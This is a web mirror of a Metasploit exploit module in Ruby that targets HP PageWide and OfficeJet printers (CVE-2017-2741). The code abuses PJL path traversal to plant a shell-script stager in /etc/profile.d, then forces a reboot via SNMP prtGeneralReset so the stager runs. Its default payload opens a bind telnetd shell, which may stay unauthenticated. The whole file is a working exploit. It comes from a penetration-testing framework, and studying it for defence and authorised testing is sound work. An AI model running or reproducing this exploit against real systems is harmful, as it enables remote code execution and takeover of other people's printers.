Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/misc/hp_jetdirect_path_traversal.rb
19534 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require "rex/proto/pjl"
7
8
class MetasploitModule < Msf::Exploit::Remote
9
10
Rank = NormalRanking
11
12
include Msf::Exploit::Remote::SNMPClient
13
include Msf::Exploit::Remote::Tcp
14
include Msf::Exploit::CmdStager
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'HP Jetdirect Path Traversal Arbitrary Code Execution',
21
'Description' => %q{
22
The module exploits a path traversal via Jetdirect to gain arbitrary code execution by
23
writing a shell script that is loaded on startup to /etc/profile.d. Then, the printer
24
is restarted using SNMP. Impacted printers:
25
HP PageWide Managed MFP P57750dw
26
HP PageWide Managed P55250dw
27
HP PageWide Pro MFP 577z
28
HP PageWide Pro 552dw
29
HP PageWide Pro MFP 577dw
30
HP PageWide Pro MFP 477dw
31
HP PageWide Pro 452dw
32
HP PageWide Pro MFP 477dn
33
HP PageWide Pro 452dn
34
HP PageWide MFP 377dw
35
HP PageWide 352dw
36
HP OfficeJet Pro 8730 All-in-One Printer
37
HP OfficeJet Pro 8740 All-in-One Printer
38
HP OfficeJet Pro 8210 Printer
39
HP OfficeJet Pro 8216 Printer
40
HP OfficeJet Pro 8218 Printer
41
42
Please read the module documentation regarding the possibility for leaving an
43
unauthenticated telnetd service running as a side effect of this exploit.
44
},
45
'Author' => [
46
'Jacob Baines', # Python PoC
47
'Matthew Kienow <matthew_kienow[AT]rapid7.com>', # Metasploit module
48
],
49
'License' => MSF_LICENSE,
50
'References' => [
51
[ 'CVE', '2017-2741' ],
52
[ 'URL', 'https://support.hp.com/lt-en/document/c05462914' ],
53
[ 'URL', 'http://tenable.com/blog/rooting-a-printer-from-security-bulletin-to-remote-code-execution' ]
54
],
55
'Targets' => [
56
[
57
'Unix (In-Memory)',
58
'Platform' => 'unix',
59
'Arch' => ARCH_CMD,
60
'Payload' => {
61
'Compat' => {
62
'PayloadType' => 'cmd'
63
}
64
},
65
]
66
],
67
'Privileged' => true,
68
'DisclosureDate' => '2017-04-05',
69
'DefaultTarget' => 0,
70
'DefaultOptions' => {
71
'PAYLOAD' => 'cmd/unix/bind_busybox_telnetd',
72
'WfsDelay' => 180
73
},
74
'Notes' => {
75
'Reliability' => UNKNOWN_RELIABILITY,
76
'Stability' => UNKNOWN_STABILITY,
77
'SideEffects' => UNKNOWN_SIDE_EFFECTS
78
}
79
)
80
)
81
82
register_options(
83
[
84
Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT),
85
OptPort.new('SNMPPORT', [true, 'The SNMP port', 161])
86
]
87
)
88
end
89
90
def execute_command(cmd, opts = {})
91
rpath = '0:/../../rw/var/etc/profile.d/'
92
stager_script_name = opts[:stager_script_name]
93
cmd = "(cd / && #{cmd}); rm -f /etc/profile.d/#{stager_script_name}"
94
95
begin
96
# use PJL to write command stager
97
print_status("Connecting to port #{rport}...")
98
99
pjl = Rex::Proto::PJL::Client.new(sock)
100
pjl.begin_job
101
102
pjl.fsinit(rpath[0..1])
103
104
print_status("Attempting to write command stager...")
105
rpath = "#{rpath}#{stager_script_name}"
106
if pjl.fsdownload(cmd, rpath, is_file: false)
107
print_good("Successfully wrote command stager to #{rpath}")
108
else
109
print_error("Failed to write command stager to #{rpath}")
110
return
111
end
112
113
# verify command stager exists
114
unless pjl.fsquery(rpath)
115
print_error("Command stager does not exist at #{rpath}; aborting...")
116
return
117
end
118
119
pjl.end_job
120
rescue Rex::ConnectionError
121
print_error("Connection Refused")
122
raise
123
end
124
end
125
126
def restart_printer
127
pjl_port = datastore['RPORT']
128
snmp_port = datastore['SNMPPORT']
129
community = datastore['COMMUNITY']
130
# Printer MIB prtGeneralReset object identifier (numeric notation)
131
prt_general_reset = '1.3.6.1.2.1.43.5.1.1.3.1'
132
# prtGeneralReset powerCycleReset(4) value
133
power_cycle_reset = 4
134
135
begin
136
# TODO: Update when there is a clean approach to using two or more mixins that both use RPORT.
137
datastore['RPORT'] = snmp_port
138
print_status("Connecting to SNMP port #{rport}...")
139
snmp = connect_snmp
140
141
# get value of Printer MIB prtGeneralReset
142
reset_value = snmp.get_value(prt_general_reset)
143
reset_value = "''" if reset_value.is_a?(SNMP::Null)
144
print_status("Initial value of prtGeneralReset OID #{prt_general_reset} => #{reset_value}")
145
146
# set value of Printer MIB prtGeneralReset to powerCycleReset(4)
147
print_status("Attempting to restart printer via SNMP...")
148
varbind = SNMP::VarBind.new(prt_general_reset, SNMP::Integer.new(power_cycle_reset))
149
response = snmp.set(varbind)
150
151
if response.error_status == :noError
152
print_status("Set prtGeneralReset OID #{prt_general_reset} => #{power_cycle_reset}")
153
154
# get value of Printer MIB prtGeneralReset
155
reset_value = snmp.get_value(prt_general_reset)
156
reset_value = "''" if reset_value.is_a?(SNMP::Null)
157
print_status("Current value of prtGeneralReset OID #{prt_general_reset} => #{reset_value}")
158
print_status("Printer restarting...")
159
160
else
161
print_error("Unable to set prtGeneralReset; SNMP response error status: #{response.error_status}")
162
end
163
rescue SNMP::RequestTimeout
164
print_error("SNMP request timeout with community '#{community}'")
165
raise
166
rescue SNMP::UnsupportedVersion
167
print_error("Unsupported SNMP version specified; use '1' or '2c'")
168
raise
169
rescue Rex::ConnectionError
170
print_error("Connection Refused")
171
raise
172
ensure
173
# restore original rport value
174
datastore['RPORT'] = pjl_port
175
end
176
end
177
178
def exploit
179
begin
180
opts = {
181
stager_script_name: "#{Rex::Text.rand_text_alpha(8)}.sh"
182
}
183
184
print_status("Exploiting...")
185
connect
186
if target.name =~ /Unix/
187
execute_command(payload.encoded, opts)
188
else
189
execute_cmdstager(opts)
190
end
191
restart_printer
192
193
return
194
ensure
195
disconnect
196
end
197
end
198
199
end
200
201